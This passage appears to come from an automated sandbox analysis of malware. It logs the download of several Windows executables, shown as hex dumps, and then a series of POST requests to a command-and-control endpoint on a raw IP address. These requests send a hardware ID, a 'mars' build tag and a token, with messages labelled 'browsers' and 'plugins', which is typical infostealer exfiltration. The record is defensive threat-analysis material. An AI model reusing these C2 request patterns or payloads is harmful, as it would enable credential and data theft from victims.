00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 05:48:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 05:48:44 GMTContent-Type: application/octet-streamContent-Length: 1893888Last-Modified: Thu, 28 Nov 2024 05:29:23 GMTConnection: keep-aliveETag: "6747ffb3-1ce600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 e0 63 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 08 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 07 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 74 61 73 79 79 6b 74 00 d0 19 00 00 40 31 00 00 ca 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 7a 79 6a 70 62 69 6a 00 10 00 00 00 10 4b 00 00 04 00 00 00 c0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 c4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 32 36 36 41 39 34 35 42 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="hwid"E8266A945B0B612331747------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="build"mars------BKEBFHIJECFIDGDGCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFCFBKFCFBFIDGCGDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 2d 2d 0d 0a Data Ascii: ------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="message"browsers------BKKFCFBKFCFBFIDGCGDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="message"plugins------EHCBAAAFHJDHJJKEBGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 